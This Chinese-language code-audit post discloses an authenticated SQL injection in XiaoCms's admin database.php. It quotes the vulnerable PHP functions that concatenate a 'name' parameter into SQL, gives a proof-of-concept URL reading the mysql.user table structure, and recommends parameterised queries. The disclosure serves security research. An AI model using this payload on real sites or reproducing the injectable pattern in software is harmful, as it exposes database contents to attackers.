0x00 环境准备

XIAOCMS官网: http://www.xiaocms.com/

网站源码版本:XiaoCms (发布时间:2014-12-29)

程序源码下载:http://www.xiaocms.com/download/XiaoCms_20141229.zip

测试网站首页:

 

【代码审计】XIAOCMS_后台database.php页面存在SQL注入漏洞_php

0x01 代码分析

1、漏洞文件位置:/admin/controller/database.php  第81-103行:


1. public function repairAction() {  
2. $name = $this->get('name');  
3. $this->db->execute("repair table $name");  
4. $this->show_message('修复成功',1, url('database/index'));  
5.   }  
6.   
7. *  
8. * 优化表  
9. */  
10. 10.   public function optimizeAction() {  
11. $name = $this->get('name');  
12. $this->db->execute("optimize table $name");  
13. $this->show_message('优化成功',1, url('database/index'));  
1. 14.   }  
2. 15.   
16. *  
17. * 数据表结构  
18. */  
1. 19.   public function tableAction() {  
20. $name = $this->get('name');  
21. $data = $this->db->query("SHOW CREATE TABLE $name")->fetchAll();  
22. echo '<div class="subnav"><pre style="padding: 20px;color:#666;font: 18px/2 tahoma, arial" >' . $data[0]['Create Table'] . '</pre></div>';  
1. 23.   }

在这三个函数中,将获取到的name参数拼接到SQL语句,然后带入数据库执行,导致程序在实现上存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。

0x02 漏洞利用

1、登录后台,构造URL获取mysql.user的数据库结构,可遍历猜解所有数据库的表结构。

Payload:http://127.0.0.1/admin/index.php?c=database&a=table&name=mysql.user

 

【代码审计】XIAOCMS_后台database.php页面存在SQL注入漏洞_mysql_02

0x03 修复建议

1、使用参数化查询避免SQL注入

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】XIAOCMS_后台database.php页面存在SQL注入漏洞_mysql_03